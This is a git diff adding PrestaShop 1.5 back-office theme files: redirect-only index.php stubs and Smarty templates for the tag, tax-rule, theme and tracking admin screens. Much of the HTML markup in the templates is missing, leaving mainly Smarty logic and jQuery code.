a/BO/themes/default/template/controllers/supply_orders_receipt_history/helpers/index.php b/BO/themes/default/template/controllers/supply_orders_receipt_history/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders_receipt_history/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/supply_orders_receipt_history/helpers/list/index.php b/BO/themes/default/template/controllers/supply_orders_receipt_history/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders_receipt_history/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/supply_orders_receipt_history/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/supply_orders_receipt_history/helpers/list/list_header.tpl new file mode 100755 index 0000000..1a34d8c --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders_receipt_history/helpers/list/list_header.tpl @@ -0,0 +1,35 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/list/list_header.tpl"} +{block name=override_header} + +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/supply_orders_receipt_history/index.php b/BO/themes/default/template/controllers/supply_orders_receipt_history/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders_receipt_history/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tags/helpers/form/form.tpl b/BO/themes/default/template/controllers/tags/helpers/form/form.tpl new file mode 100755 index 0000000..bec6083 --- /dev/null +++ b/BO/themes/default/template/controllers/tags/helpers/form/form.tpl @@ -0,0 +1,86 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="other_input"} + {if $key eq 'selects'} +
+

{l s='Products:'}

+ + + + + +
+ + {l s='Double click to move the item to another column'}  +

+ + {l s='Add'} >> + + +
+ + {l s='Double click to move the item to another column'}  +

+ + << {l s='Remove'} + +
+
+
 
+ + + {/if} +{/block} diff --git a/BO/themes/default/template/controllers/tags/helpers/form/index.php b/BO/themes/default/template/controllers/tags/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/tags/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tags/helpers/index.php b/BO/themes/default/template/controllers/tags/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/tags/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tags/index.php b/BO/themes/default/template/controllers/tags/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/tags/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tax_rules/helpers/form/form.tpl b/BO/themes/default/template/controllers/tax_rules/helpers/form/form.tpl new file mode 100755 index 0000000..2d5db94 --- /dev/null +++ b/BO/themes/default/template/controllers/tax_rules/helpers/form/form.tpl @@ -0,0 +1,132 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="label"} + {if $input.name == 'zipcode' && isset($input.label)} + + {elseif $input.name == 'states[]'} + + {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name="script"} + $(document).ready(function() { + $('#country').click(function() { + populateStates($(this).val(), ''); + }); + + $('#tax_rule_form').hide(); + + $('#desc-tax_rules_group-new').click(function() { + initForm(); + $('#tax_rule_form').slideToggle(); + return false; + }); + }); + + function populateStates(id_country, id_state) + { + if ($("#country option:selected").size() > 1) + { + $("#zipcode-label").hide(); + $("#zipcode").hide(); + + $("#states").parent().hide(); + $("#states-label").hide(); + } else { + $.ajax({ + url: "ajax.php", + cache: false, + data: "ajaxStates=1&id_country="+id_country+"&id_state="+id_state+"&empty_value={l s='All'}", + success: function(html){ + if (html == "false") + { + $("#states").parent().hide(); + $("#states-label").hide(); + $("#states").html(''); + } + else + { + $("#states").parent().show(); + $("#states-label").show(); + $("#states").html(html); + } + } + }); + + $("#zipcode-label").show(); + $("#zipcode").show(); + } + } + + function loadTaxRule(id_tax_rule) + { + $.ajax({ + type: 'POST', + url: 'ajax.php', + async: true, + dataType: 'json', + data: 'ajaxStates=1&ajaxUpdateTaxRule=1&id_tax_rule='+id_tax_rule, + success: function(data){ + $('#tax_rule_form').show(); + $('#id_tax_rule').val(data.id); + $('#country').val(data.id_country); + $('#state').val(data.id_state); + + zipcode = 0; + if (data.zipcode_from != 0) + { + zipcode = data.zipcode_from; + + if (data.zipcode_to != 0) + zipcode = zipcode +"-"+data.zipcode_to + } + + $('#zipcode').val(zipcode); + $('#behavior').val(data.behavior); + $('#id_tax').val(data.id_tax); + $('#description').val(data.description); + + populateStates(data.id_country, data.id_state); + } + }); + } + + function initForm() + { + $('#id_tax_rule').val(''); + $('#country').val(0); + $('#state').val(0); + $('#zipcode').val(0); + $('#behavior').val(0); + $('#tax').val(0); + $('#description').val(''); + + populateStates(0,0); + } +{/block} diff --git a/BO/themes/default/template/controllers/tax_rules/helpers/form/index.php b/BO/themes/default/template/controllers/tax_rules/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/tax_rules/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tax_rules/helpers/index.php b/BO/themes/default/template/controllers/tax_rules/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/tax_rules/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tax_rules/helpers/list/index.php b/BO/themes/default/template/controllers/tax_rules/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/tax_rules/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tax_rules/helpers/list/list_action_edit.tpl b/BO/themes/default/template/controllers/tax_rules/helpers/list/list_action_edit.tpl new file mode 100755 index 0000000..fb8803e --- /dev/null +++ b/BO/themes/default/template/controllers/tax_rules/helpers/list/list_action_edit.tpl @@ -0,0 +1,25 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{$action} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tax_rules/helpers/list/list_content.tpl b/BO/themes/default/template/controllers/tax_rules/helpers/list/list_content.tpl new file mode 100755 index 0000000..69d6117 --- /dev/null +++ b/BO/themes/default/template/controllers/tax_rules/helpers/list/list_content.tpl @@ -0,0 +1,131 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{foreach $list AS $index => $tr} + + + {if $bulk_actions} + {assign var=bulkActionPossible value=true} + {foreach $list_skip_actions as $key => $value} + {if in_array($tr.$identifier, $value) == true} + {assign var=bulkActionPossible value=false} + {/if} + {/foreach} + {if $bulkActionPossible == true} + + {/if} + {/if} + + {foreach $fields_display AS $key => $params} + {if isset($params.prefix)}{$params.prefix}{/if} + {else} + > + {/if} + {if isset($params.active)} + {$tr.$key} + {elseif isset($params.activeVisu)} + {if $tr.$key}{l s='Enabled'}{else}{l s='Disabled'}{/if} + {elseif isset($params.position)} + {if $order_by == 'position' && $order_way != 'DESC'} + + {l s='Down'} + + + + {l s='Up'} + + {else} + {$tr.$key.position + 1} + {/if} + {elseif isset($params.image)} + {$tr.$key} + {elseif (isset($params.icon))} + {$tr[$key]} + {elseif isset($params.price)} + {$tr.$key} + {elseif isset($params.float)} + {$tr.$key} + {elseif isset($params.type) && $params.type == 'date'} + {$tr.$key} + {elseif isset($params.type) && $params.type == 'datetime'} + {$tr.$key} + {elseif isset($params.callback)} + {$tr.$key} + {elseif isset($tr.$key)} + {if $key == 'behavior'} + {if $tr.$key == 0} + {l s='This tax only'} + {elseif $tr.$key == 1} + {l s='Compute with others'} + {elseif $tr.$key == 2} + {l s='One after another'} + {/if} + {elseif $key == 'rate'} + {$tr.$key|string_format:"%.2f"}% + {elseif $key == 'zipcode'} + {if $tr.$key == '0 - 0'} + -- + {else} + {$tr.$key|escape:'htmlall':'UTF-8'} + {/if} + {else} + {$tr.$key|escape:'htmlall':'UTF-8'} + {/if} + {else} + -- + {/if} + {if isset($params.suffix)}{$params.suffix}{/if} + + {/foreach} + + {if $shop_link_type} + {if isset($tr.shop_short_name)}{$tr.shop_short_name}{else}{$tr.shop_name}{/if} + {/if} + {if $has_actions} + + {foreach $actions AS $action} + {if isset($tr.$action)} + {$tr.$action} + {/if} + {/foreach} + + {/if} + +{/foreach} + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tax_rules/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/tax_rules/helpers/list/list_header.tpl new file mode 100755 index 0000000..d6ab3b6 --- /dev/null +++ b/BO/themes/default/template/controllers/tax_rules/helpers/list/list_header.tpl @@ -0,0 +1,113 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{hook h='displayAdminListBefore'} +{if isset($name_controller)} + {capture name=hookName assign=hookName}display{$name_controller|ucfirst}ListBefore{/capture} + {hook h=$hookName} +{elseif isset($smarty.get.controller)} + {capture name=hookName assign=hookName}display{$smarty.get.controller|ucfirst|htmlentities}ListBefore{/capture} + {hook h=$hookName} +{/if} + +
+ + + + + + + +{if count($list)} +{foreach $list AS $index => $tr} + + + {foreach $fields_display AS $key => $params} + {block name="open_td"} + + {/block} + {/foreach} + + {if $shop_link_type} + + {/if} + {if $has_actions} + + {/if} + +{/foreach} +{else} + +{/if} + diff --git a/BO/themes/default/template/helpers/list/list_footer.tpl b/BO/themes/default/template/helpers/list/list_footer.tpl new file mode 100755 index 0000000..6e21911 --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_footer.tpl @@ -0,0 +1,53 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
+ + {if $page > 1} +   + + {/if} + {l s='Page'} {$page} / {$total_pages} + {if $page < $total_pages} +   + + {/if} + | {l s='Display'} + + / {$list_total} {l s='result(s)'} + + + + + +
+ + + {foreach $fields_display AS $key => $params} + + {/foreach} + {if $shop_link_type} + + {/if} + {if $has_actions} + + {/if} + + + + {foreach $fields_display AS $key => $params} + + {/foreach} + {if $shop_link_type} + + {/if} + {if $has_actions} + + {/if} + + diff --git a/BO/themes/default/template/controllers/tax_rules/index.php b/BO/themes/default/template/controllers/tax_rules/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/tax_rules/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tax_rules_group/helpers/form/form.tpl b/BO/themes/default/template/controllers/tax_rules_group/helpers/form/form.tpl new file mode 100755 index 0000000..5b16474 --- /dev/null +++ b/BO/themes/default/template/controllers/tax_rules_group/helpers/form/form.tpl @@ -0,0 +1,29 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="after"} +
+{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tax_rules_group/helpers/form/index.php b/BO/themes/default/template/controllers/tax_rules_group/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/tax_rules_group/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tax_rules_group/helpers/index.php b/BO/themes/default/template/controllers/tax_rules_group/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/tax_rules_group/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tax_rules_group/index.php b/BO/themes/default/template/controllers/tax_rules_group/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/tax_rules_group/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/themes/helpers/index.php b/BO/themes/default/template/controllers/themes/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/themes/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/themes/helpers/options/index.php b/BO/themes/default/template/controllers/themes/helpers/options/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/themes/helpers/options/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/themes/helpers/options/options.tpl b/BO/themes/default/template/controllers/themes/helpers/options/options.tpl new file mode 100755 index 0000000..df2023d --- /dev/null +++ b/BO/themes/default/template/controllers/themes/helpers/options/options.tpl @@ -0,0 +1,59 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/options/options.tpl"} + +{block name="field"} + {if $field['type'] == 'theme'} + {if $field['can_display_themes']} + {foreach $field.themes as $theme} +
+ {$theme->name}
+ {$theme->directory}
+ id == $field['id_theme']}checked="checked"{/if} /> +
+ {/foreach} + {/if} + {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name="after"} +

+
+ +{/block} diff --git a/BO/themes/default/template/controllers/themes/index.php b/BO/themes/default/template/controllers/themes/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/themes/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tracking/helpers/index.php b/BO/themes/default/template/controllers/tracking/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/tracking/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tracking/helpers/list/index.php b/BO/themes/default/template/controllers/tracking/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/tracking/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tracking/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/tracking/helpers/list/list_header.tpl new file mode 100755 index 0000000..3b72707 --- /dev/null +++ b/BO/themes/default/template/controllers/tracking/helpers/list/list_header.tpl @@ -0,0 +1,30 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. 